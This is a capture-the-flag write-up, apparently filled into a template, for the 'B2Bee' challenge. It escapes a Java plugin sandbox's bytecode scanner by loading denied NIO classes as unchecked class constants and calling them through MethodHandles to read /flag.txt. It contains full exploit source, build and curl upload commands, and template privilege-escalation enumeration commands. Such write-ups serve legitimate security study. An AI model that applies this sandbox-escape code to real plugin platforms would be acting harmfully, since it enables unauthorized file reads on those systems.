B2Bee
B2Bee
Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: class_literal_policy_bypass, method_handle_indirect_invocation, fixed_arity_method_handle
Summary
Task: A Java plugin marketplace scans uploaded JAR bytecode before sandboxed execution, while the goal is to read /flag.txt. Solution: unchecked class LDC constants and allowed MethodHandles dynamically invoke denied NIO file APIs.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260723_avitoctf_b2bee - Tags: sandbox_escape, java, asm, bytecode_scanner, method_handles
- Indicators: ordinary class-valued LDC constants are not owner-checked, java/lang prefix permits java/lang/invoke, direct java/nio/file owners are denied
- Source:
20260723_avitoctf_b2bee.md
Foothold
Vulnerability / Misconfiguration
- Class_literal_policy_bypass
- Method_handle_indirect_invocation
- Fixed_arity_method_handle
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- class_literal_policy_bypass
- method_handle_indirect_invocation
- fixed_arity_method_handle
- Tags: sandbox_escape, java, asm, bytecode_scanner, method_handles
Original Writeup
<details><summary>Click to expand original content</summary>B2Bee — avitoctf
Description
Крупнейший маркетплейс для пчёл открыл партнёрскую бету B2Bee. Продавцы загружают Java-плагины, рассчитывающие скидки и бонусы для корзины. Перед запуском каждый JAR статически проверяет ревью-пчела, а сам плагин исполняется в карантине. Обойдите проверку и получите
/flag.txt.
The application accepts third-party Java discount plugins. The objective is to pass its ASM-based static review, execute inside the quarantine, read the target file, and return its contents through the plugin result.
Analysis
Application interface
Same-origin application reconnaissance identified:
GET /examples/plugin-example.zip, containing example source andplugin-api-stubs.jar;GET /api/shop, providing the sample cart;POST /api/plugins/run, which uploads, scans, and executes a plugin.
The stubs show that a plugin implements ru.avitoctf.marketplugins.api.DiscountPlugin:
PluginResult apply(PluginContext context) throws Exception;
PluginResult is a record containing (int discountPercent, int bonusPoints, String message). The frontend places message verbatim in the result view, making it a direct output channel.
The execution endpoint expects these multipart fields:
plugin: the JAR file;entryClass: the binary class name;cartId: a predefined cart identifier, such asstarter.
Scanner coverage gap
PluginScanner uses ASM's tree API. It applies SandboxPolicy.checkOwner() to:
- every
MethodInsnNodeowner; - every
FieldInsnNodeowner; - the descriptors of
NEW,ANEWARRAY, andCHECKCASTTypeInsnNodes.
It also rejects invokedynamic, ConstantDynamic, Handle, and method-type Type values loaded by LDC. The important omission is in inspectConstant():
if (value instanceof Type type) {
if (type.getSort() == Type.METHOD) {
throw new SandboxException(...);
}
}
An ordinary class-valued LDC, such as Path.class, is therefore accepted without passing its owner through the policy.
The second flaw is the broad allowlist prefix java/lang. It unintentionally includes the complete java/lang/invoke package. Direct references whose instruction owner begins with java/nio/file are denied, but calls to MethodHandles, MethodType, and MethodHandle are permitted.
Together, these mistakes allow the plugin to:
- Load
Path.class,Paths.class, andFiles.classas unchecked ordinary class constants. - Build method signatures with permitted
MethodTypecalls. - Resolve denied NIO methods through a permitted
MethodHandles.Lookup. - Invoke the resulting handles through
MethodHandle.invokeWithArguments().
Bytecode-level constraints
The source imports NIO classes, but imports have no standalone runtime representation. What matters is how javac emits each use.
The compiled exploit has only these relevant properties:
- forbidden NIO classes occur as class-valued
LDCconstants; - method instruction owners are under
java/lang, chieflyjava/lang/invoke; - array allocations use allowed
java/lang/Class,java/lang/Object, andjava/lang/Stringowners; - the path returned by
Paths.getremains typed asObject, avoidingCHECKCAST java/nio/file/Path; - only the final result receives
CHECKCAST java/lang/String; - no
invokedynamic,Handle,ConstantDynamic, or method-type LDC is present.
Compiling with -XDstringConcat=inline also prevents accidental string-concatenation invokedynamic instructions.
Solution
Exploit plugin
The complete plugin source is:
package exploit;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import ru.avitoctf.marketplugins.api.DiscountPlugin;
import ru.avitoctf.marketplugins.api.PluginContext;
import ru.avitoctf.marketplugins.model.PluginResult;
public final class FlagPlugin implements DiscountPlugin {
@Override
public PluginResult apply(PluginContext context) throws Exception {
try {
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType pathsGetType = MethodType.methodType(
Path.class,
new Class<?>[]{String.class, String[].class}
);
MethodHandle pathsGet = lookup
.findStatic(Paths.class, "get", pathsGetType)
.asFixedArity();
Object path = pathsGet.invokeWithArguments(
new Object[]{"/flag.txt", new String[0]}
);
MethodType readStringType = MethodType.methodType(
String.class,
new Class<?>[]{Path.class}
);
MethodHandle readString = lookup.findStatic(
Files.class, "readString", readStringType
);
Object contents = readString.invokeWithArguments(new Object[]{path});
return new PluginResult(0, 0, (String) contents);
} catch (Throwable failure) {
return new PluginResult(0, 0, failure.toString());
}
}
}
Keeping the exception text in message provided useful runtime diagnostics while retaining scanner-safe bytecode.
Variable-arity failure and correction
The first uploaded JAR passed static review but failed during invocation with:
java.lang.ClassCastException: Cannot cast [Ljava.lang.String; to java.lang.String
Paths.get(String, String...) is a Java varargs method. A handle returned for it is a variable-arity handle, so invokeWithArguments tried to apply its own argument adaptation to the supplied String[]. Calling .asFixedArity() on the resolved handle made the array an ordinary second argument and fixed the invocation. This correction still uses only the permitted java/lang/invoke/MethodHandle owner.
Build
From the task directory, compile against the downloaded API stubs and package only the exploit class:
mkdir -p build/classes javac --release 21 -XDstringConcat=inline \ -cp plugin-example/plugin-api-stubs.jar \ -d build/classes FlagPlugin.java jar cf flag-plugin.jar -C build/classes .
javap -c -verbose build/classes/exploit/FlagPlugin.class can be used before upload to verify that forbidden NIO names appear only in class constants and that no forbidden dynamic instruction was emitted.
Trigger
Upload the JAR, explicitly select the implementation class, and use the predefined cart:
curl \ -F 'plugin=@flag-plugin.jar;type=application/java-archive' \ -F 'entryClass=exploit.FlagPlugin' \ -F 'cartId=starter' \ 'https://marketplugins-qulcg67k.avitoctf.ru/api/plugins/run'
The server accepted the JAR, executed it in quarantine, and returned a successful plugin-result response. Its result.message contained the requested file contents.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR